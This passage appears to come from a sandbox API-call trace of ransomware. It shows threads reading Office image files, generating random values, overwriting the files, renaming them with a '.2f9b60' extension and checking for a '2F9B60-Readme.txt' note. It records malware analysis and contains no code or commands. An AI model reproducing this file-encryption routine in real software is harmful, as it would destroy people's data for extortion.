Flags=0x8, Size=0x20) returned 0x204fdc60 [0140.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc90 [0140.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc90) returned 1 [0140.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420615b0) returned 1 [0140.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11e) returned 0x1b7d9a50 [0140.814] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.814] WriteFile (in: hFile=0x1b14, lpBuffer=0x1b7d9a50*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2b02fc30, lpOverlapped=0x0 | out: lpBuffer=0x1b7d9a50*, lpNumberOfBytesWritten=0x2b02fc30*=0x11e, lpOverlapped=0x0) returned 1 [0140.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d9a50) returned 1 [0140.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0140.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0140.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0140.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdbd0) returned 1 [0140.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669f0) returned 1 [0140.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b40) returned 1 [0140.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0140.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106640 [0140.961] wcscpy (in: _Dest=0x106640, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" [0140.961] wcscat (in: _Dest=0x106640, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp.2f9b60" [0140.961] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp.2f9b60", NtPathName=0x2b02fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776850 [0140.961] NtSetInformationFile (FileHandle=0x1b14, IoStatusBlock=0x2b02fcf0, FileInformation=0x1b776850, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0147.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776850) returned 1 [0147.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fbf50) returned 1 [0147.164] NtQueryInformationFile (in: FileHandle=0x1b14, IoStatusBlock=0x2b02fcb8, FileInformation=0x2b02fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b02fcb8, FileInformation=0x2b02fcc8) returned 0x0 [0147.164] NtSetInformationFile (FileHandle=0x1b14, IoStatusBlock=0x2b02fcb8, FileInformation=0x2b02fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0147.167] FlushFileBuffers (hFile=0x1b14) returned 1 [0147.168] CloseHandle (hObject=0x1b14) returned 1 [0147.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c0e0 [0147.170] wcscpy (in: _Dest=0x2050c0e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0147.170] wcscat (in: _Dest=0x2050c0e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0147.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c0e0) returned 1 [0147.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863220) returned 1 Thread: id = 1852 os_tid = 0xca8 [0133.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp")) returned 0x20 [0134.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp", dwFileAttributes=0x20) returned 1 [0137.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b10 [0140.106] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x2b35fa80 | out: lpFileSize=0x2b35fa80*=4922) returned 1 [0140.106] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x1336, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.106] ReadFile (in: hFile=0x1b10, lpBuffer=0x2b35fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b35fa48, lpOverlapped=0x0 | out: lpBuffer=0x2b35fa00*, lpNumberOfBytesRead=0x2b35fa48*=0x4, lpOverlapped=0x0) returned 1 [0140.126] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0140.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c000 [0140.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0140.126] NtQuerySystemTime (in: CurrentTime=0x2b35f940 | out: CurrentTime=0x2b35f940*=132462177453682000) returned 0x0 [0140.126] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x28c6b8da [0140.126] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x78af2e34 [0140.126] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x1442ae13 [0140.126] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x7874bede [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x75314531 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x519eaf60 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x1db13183 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x4b9b7d58 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x2812072b [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x8f9fae7 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x26f22904 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x42d7aaf8 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x4cd5fa4a [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x764c1222 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x254c6552 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0xa0e6b97 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x44d883f0 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x3dc61c08 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x6d1dec8e [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x45162511 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x2eec189c [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x51a356e5 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0xffcc669 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x3beb2108 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x6e588ca6 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x2935eb7 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x5595d2b3 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x4afc6f24 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x540a1a08 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x70a87251 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x130636c0 [0140.127] RtlRandomEx (in: Seed=0x2b35f930 | out: Seed=0x2b35f930) returned 0x53e55db8 [0140.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0140.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0140.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0140.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0140.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669f0) returned 1 [0140.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0140.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0140.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0140.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0140.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0140.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421c3100 [0140.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421c6d10 [0140.144] ReadFile (in: hFile=0x1b10, lpBuffer=0x421c3100, nNumberOfBytesToRead=0x133a, lpNumberOfBytesRead=0x2b35f930, lpOverlapped=0x0 | out: lpBuffer=0x421c3100*, lpNumberOfBytesRead=0x2b35f930*=0x133a, lpOverlapped=0x0) returned 1 [0140.195] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.195] WriteFile (in: hFile=0x1b10, lpBuffer=0x421c6d10*, nNumberOfBytesToWrite=0x133a, lpNumberOfBytesWritten=0x2b35f934, lpOverlapped=0x0 | out: lpBuffer=0x421c6d10*, lpNumberOfBytesWritten=0x2b35f934*=0x133a, lpOverlapped=0x0) returned 1 [0140.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0140.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0140.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0140.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421c6d10) returned 1 [0140.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421c3100) returned 1 [0140.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0140.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0140.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0140.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0140.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0140.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0140.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0140.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420592e0 [0140.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0140.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf30 [0140.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf30) returned 1 [0140.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0140.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0140.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x1b86fcd0 [0140.946] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.946] WriteFile (in: hFile=0x1b10, lpBuffer=0x1b86fcd0*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2b35fa50, lpOverlapped=0x0 | out: lpBuffer=0x1b86fcd0*, lpNumberOfBytesWritten=0x2b35fa50*=0x124, lpOverlapped=0x0) returned 1 [0141.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86fcd0) returned 1 [0141.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420592e0) returned 1 [0141.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0141.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c000) returned 1 [0141.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0141.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0141.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20278530 [0141.027] wcscpy (in: _Dest=0x20278530, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" [0141.028] wcscat (in: _Dest=0x20278530, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp.2f9b60" [0141.028] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp.2f9b60", NtPathName=0x2b35fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1cecf6a0 [0141.028] NtSetInformationFile (FileHandle=0x1b10, IoStatusBlock=0x2b35fb10, FileInformation=0x1cecf6a0, Length=0xd6, FileInformationClass=0xa) returned 0x0 [0145.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf6a0) returned 1 [0145.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3a20) returned 1 [0145.440] NtQueryInformationFile (in: FileHandle=0x1b10, IoStatusBlock=0x2b35fad8, FileInformation=0x2b35fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b35fad8, FileInformation=0x2b35fae8) returned 0x0 [0145.440] NtSetInformationFile (FileHandle=0x1b10, IoStatusBlock=0x2b35fad8, FileInformation=0x2b35fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278530) returned 1 [0145.453] FlushFileBuffers (hFile=0x1b10) returned 1 [0145.991] CloseHandle (hObject=0x1b10) returned 1 [0146.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202adef0 [0146.009] wcscpy (in: _Dest=0x202adef0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.009] wcscat (in: _Dest=0x202adef0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adef0) returned 1 [0147.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202797f0) returned 1 Thread: id = 1853 os_tid = 0xcac [0133.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg")) returned 0x20 [0135.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg", dwFileAttributes=0x20) returned 1 [0136.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b7c [0139.841] GetFileSizeEx (in: hFile=0x1b7c, lpFileSize=0x2b42f960 | out: lpFileSize=0x2b42f960*=7733) returned 1 [0139.841] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x1e31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.841] ReadFile (in: hFile=0x1b7c, lpBuffer=0x2b42f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b42f928, lpOverlapped=0x0 | out: lpBuffer=0x2b42f8e0*, lpNumberOfBytesRead=0x2b42f928*=0x4, lpOverlapped=0x0) returned 1 [0139.902] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0139.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba30 [0139.903] NtQuerySystemTime (in: CurrentTime=0x2b42f820 | out: CurrentTime=0x2b42f820*=132462177451498000) returned 0x0 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x76043cf3 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x51bcda5b [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x4113281e [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x905d926 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x6094c920 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x2cb49892 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x187cc2d3 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x6c01412e [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x6ca72d9e [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x6d65691f [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x4df827fa [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x72c4ccc0 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x40b8a552 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0xdcbf207 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x7de69745 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x3e52d5ec [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x4e1ee203 [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x54ad966e [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x548e846f [0139.903] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x427e27cd [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x1b800053 [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x41893bae [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x6e299a33 [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x696b75ea [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x5efa3f7e [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x2510017f [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x6fca8e27 [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x6944f971 [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x1a81872 [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x3e8f31b7 [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x7e63918e [0139.904] RtlRandomEx (in: Seed=0x2b42f810 | out: Seed=0x2b42f810) returned 0x201747c8 [0139.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba60 [0139.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba90 [0139.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba30) returned 1 [0139.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42183100 [0139.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42186d10 [0139.923] ReadFile (in: hFile=0x1b7c, lpBuffer=0x42183100, nNumberOfBytesToRead=0x1e35, lpNumberOfBytesRead=0x2b42f810, lpOverlapped=0x0 | out: lpBuffer=0x42183100*, lpNumberOfBytesRead=0x2b42f810*=0x1e35, lpOverlapped=0x0) returned 1 [0140.003] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.003] WriteFile (in: hFile=0x1b7c, lpBuffer=0x42186d10*, nNumberOfBytesToWrite=0x1e35, lpNumberOfBytesWritten=0x2b42f814, lpOverlapped=0x0 | out: lpBuffer=0x42186d10*, lpNumberOfBytesWritten=0x2b42f814*=0x1e35, lpOverlapped=0x0) returned 1 [0140.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0140.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd90 [0140.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd90) returned 1 [0140.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42186d10) returned 1 [0140.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42183100) returned 1 [0140.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0140.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0140.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0140.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0140.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0140.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd90 